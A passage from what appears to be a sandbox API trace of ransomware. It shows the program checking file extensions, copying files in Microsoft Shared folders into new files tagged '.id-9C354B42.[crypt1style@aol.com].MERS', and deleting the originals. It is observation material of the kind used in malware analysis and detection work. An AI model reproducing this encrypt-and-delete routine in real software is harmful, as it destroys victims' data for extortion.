lpString2=".GIF") returned 1 [0051.194] lstrlenW (lpString=".xls") returned 4 [0051.194] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.194] lstrlenW (lpString=".xlsx") returned 5 [0051.194] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.194] lstrlenW (lpString=".ppt") returned 4 [0051.194] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0051.194] lstrlenW (lpString=".zip") returned 4 [0051.194] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.194] lstrlenW (lpString=".rar") returned 4 [0051.194] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.194] lstrlenW (lpString=".bz2") returned 4 [0051.194] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.194] lstrlenW (lpString=".7z") returned 3 [0051.194] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0051.194] lstrlenW (lpString=".dbf") returned 4 [0051.194] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0051.194] lstrlenW (lpString=".1cd") returned 4 [0051.194] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0051.194] lstrlenW (lpString=".jpg") returned 4 [0051.194] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0051.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0051.195] lstrlenW (lpString=".doc") returned 4 [0051.195] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.195] lstrlenW (lpString=".docx") returned 5 [0051.195] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.195] lstrlenW (lpString=".pdf") returned 4 [0051.195] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.195] lstrlenW (lpString=".xls") returned 4 [0051.195] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.195] lstrlenW (lpString=".xlsx") returned 5 [0051.195] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.195] lstrlenW (lpString=".ppt") returned 4 [0051.195] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0051.195] lstrlenW (lpString=".zip") returned 4 [0051.195] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.195] lstrlenW (lpString=".rar") returned 4 [0051.195] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.195] lstrlenW (lpString=".bz2") returned 4 [0051.195] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.195] lstrlenW (lpString=".7z") returned 3 [0051.195] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0051.195] lstrlenW (lpString=".dbf") returned 4 [0051.195] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0051.195] lstrlenW (lpString=".1cd") returned 4 [0051.195] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0051.195] lstrlenW (lpString=".jpg") returned 4 [0051.195] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.195] lstrcmpiW (lpString1=".PNG", lpString2=".MERS") returned 1 [0051.196] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0051.196] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0051.196] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=42453) returned 1 [0051.196] CloseHandle (hObject=0x220) returned 1 [0051.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png")) returned 0x20 [0051.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0051.196] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0051.196] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.196] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.196] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0051.197] GetLastError () returned 0x0 [0051.197] ReadFile (in: hFile=0x220, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0xa5d5, lpOverlapped=0x0) returned 1 [0051.263] WriteFile (in: hFile=0x1ec, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xa5e0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xa5e0, lpOverlapped=0x0) returned 1 [0051.265] ReadFile (in: hFile=0x220, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.265] WriteFile (in: hFile=0x1ec, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.265] SetEndOfFile (hFile=0x1ec) returned 1 [0051.265] CloseHandle (hObject=0x1ec) returned 1 [0051.265] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.265] SetEndOfFile (hFile=0x220) returned 1 [0051.266] CloseHandle (hObject=0x220) returned 1 [0051.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0051.266] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png")) returned 1 [0051.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0051.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0051.267] lstrlenW (lpString=".doc") returned 4 [0051.267] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.267] lstrlenW (lpString=".docx") returned 5 [0051.267] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.267] lstrlenW (lpString=".pdf") returned 4 [0051.267] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.267] lstrlenW (lpString=".xls") returned 4 [0051.267] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.267] lstrlenW (lpString=".xlsx") returned 5 [0051.267] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.267] lstrlenW (lpString=".ppt") returned 4 [0051.267] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0051.267] lstrlenW (lpString=".zip") returned 4 [0051.267] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.267] lstrlenW (lpString=".rar") returned 4 [0051.267] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.267] lstrlenW (lpString=".bz2") returned 4 [0051.267] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.267] lstrlenW (lpString=".7z") returned 3 [0051.267] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0051.267] lstrlenW (lpString=".dbf") returned 4 [0051.267] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0051.267] lstrlenW (lpString=".1cd") returned 4 [0051.267] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0051.267] lstrlenW (lpString=".jpg") returned 4 [0051.267] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0051.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0051.267] lstrlenW (lpString=".doc") returned 4 [0051.267] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.267] lstrlenW (lpString=".docx") returned 5 [0051.267] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.268] lstrlenW (lpString=".pdf") returned 4 [0051.268] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.268] lstrlenW (lpString=".xls") returned 4 [0051.268] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.268] lstrlenW (lpString=".xlsx") returned 5 [0051.268] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.268] lstrlenW (lpString=".ppt") returned 4 [0051.268] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0051.268] lstrlenW (lpString=".zip") returned 4 [0051.268] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.268] lstrlenW (lpString=".rar") returned 4 [0051.268] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.268] lstrlenW (lpString=".bz2") returned 4 [0051.268] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.268] lstrlenW (lpString=".7z") returned 3 [0051.268] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0051.268] lstrlenW (lpString=".dbf") returned 4 [0051.268] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0051.268] lstrlenW (lpString=".1cd") returned 4 [0051.268] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0051.268] lstrlenW (lpString=".jpg") returned 4 [0051.268] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.268] lstrcmpiW (lpString1=".CHM", lpString2=".MERS") returned -1 [0051.268] lstrlenW (lpString="VBCN6.CHM") returned 9 [0051.268] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0051.269] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=109718) returned 1 [0051.269] CloseHandle (hObject=0x220) returned 1 [0051.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm")) returned 0x20 [0051.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0051.269] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0051.269] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.269] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.269] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0051.269] GetLastError () returned 0x0 [0051.278] ReadFile (in: hFile=0x220, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x1ac96, lpOverlapped=0x0) returned 1 [0051.416] WriteFile (in: hFile=0x1ec, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0x1aca0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0x1aca0, lpOverlapped=0x0) returned 1 [0051.418] ReadFile (in: hFile=0x220, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.418] WriteFile (in: hFile=0x1ec, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0051.418] SetEndOfFile (hFile=0x1ec) returned 1 [0051.419] CloseHandle (hObject=0x1ec) returned 1 [0051.419] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.419] SetEndOfFile (hFile=0x220) returned 1 [0051.421] CloseHandle (hObject=0x220) returned 1 [0051.421] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0051.421] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm")) returned 1 [0051.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0051.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0051.422] lstrlenW (lpString=".doc") returned 4 [0051.422] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0051.422] lstrlenW (lpString=".docx") returned 5 [0051.422] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0051.422] lstrlenW (lpString=".pdf") returned 4 [0051.422] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0051.422] lstrlenW (lpString=".xls") returned 4 [0051.422] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0051.422] lstrlenW (lpString=".xlsx") returned 5 [0051.422] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0051.422] lstrlenW (lpString=".ppt") returned 4 [0051.422] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0051.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0051.422] lstrlenW (lpString=".zip") returned 4 [0051.422] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0051.422] lstrlenW (lpString=".rar") returned 4 [0051.422] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0051.422] lstrlenW (lpString=".bz2") returned 4 [0051.422] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0051.422] lstrlenW (lpString=".7z") returned 3 [0051.422] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0051.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0051.422] lstrlenW (lpString=".dbf") returned 4 [0051.422] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0051.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0051.422] lstrlenW (lpString=".1cd") returned 4 [0051.422] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0051.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0051.422] lstrlenW (lpString=".jpg") returned 4 [0051.422] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0051.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0051.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0051.423] lstrlenW (lpString=".doc") returned 4 [0051.423] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0051.423] lstrlenW (lpString=".docx") returned 5 [0051.423] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0051.423] lstrlenW (lpString=".pdf") returned 4 [0051.423] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0051.423] lstrlenW (lpString=".xls") returned 4 [0051.423] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0051.423] lstrlenW (lpString=".xlsx") returned 5 [0051.423] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0051.423] lstrlenW (lpString=".ppt") returned 4 [0051.423] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0051.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0051.423] lstrlenW (lpString=".zip") returned 4 [0051.423] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0051.423] lstrlenW (lpString=".rar") returned 4 [0051.423] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0051.423] lstrlenW (lpString=".bz2") returned 4 [0051.423] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0051.423] lstrlenW (lpString=".7z") returned 3 [0051.423] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0051.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0051.424] lstrlenW (lpString=".dbf") returned 4 [0051.424] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0051.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0051.424] lstrlenW (lpString=".1cd") returned 4 [0051.424] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0051.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0051.424] lstrlenW (lpString=".jpg") returned 4 [0051.424] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0051.424] lstrcmpiW (lpString1=".CHM", lpString2=".MERS") returned -1 [0051.424] lstrlenW (lpString="VBHW6.CHM") returned 9 [0051.424] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0051.425] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=58026) returned 1 [0051.425] CloseHandle (hObject=0x220) returned 1 [0051.425] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm")) returned 0x20 [0051.425] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0051.425] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0051.425] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.425] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.425] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0051.429] GetLastError () returned 0x0 [0051.429] ReadFile (in: hFile=0x220, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0xe2aa, lpOverlapped=0x0) returned 1 [0051.442] WriteFile (in: hFile=0x1ec, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xe2b0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xe2b0, lpOverlapped=0x0) returned 1 [0051.445] ReadFile (in: hFile=0x220, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.445] WriteFile (in: hFile=0x1ec, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0051.445] SetEndOfFile (hFile=0x1ec) returned 1 [0051.445] CloseHandle (hObject=0x1ec) returned 1 [0051.445] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.445] SetEndOfFile (hFile=0x220) returned 1 [0051.447] CloseHandle (hObject=0x220) returned 1 [0051.447] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0051.447] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm")) returned 1 [0051.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0051.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0051.447] lstrlenW (lpString=".doc") returned 4 [0051.447] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0051.447] lstrlenW (lpString=".docx") returned 5 [0051.447] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0051.447] lstrlenW (lpString=".pdf") returned 4 [0051.447] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0051.447] lstrlenW (lpString=".xls") returned 4 [0051.447] 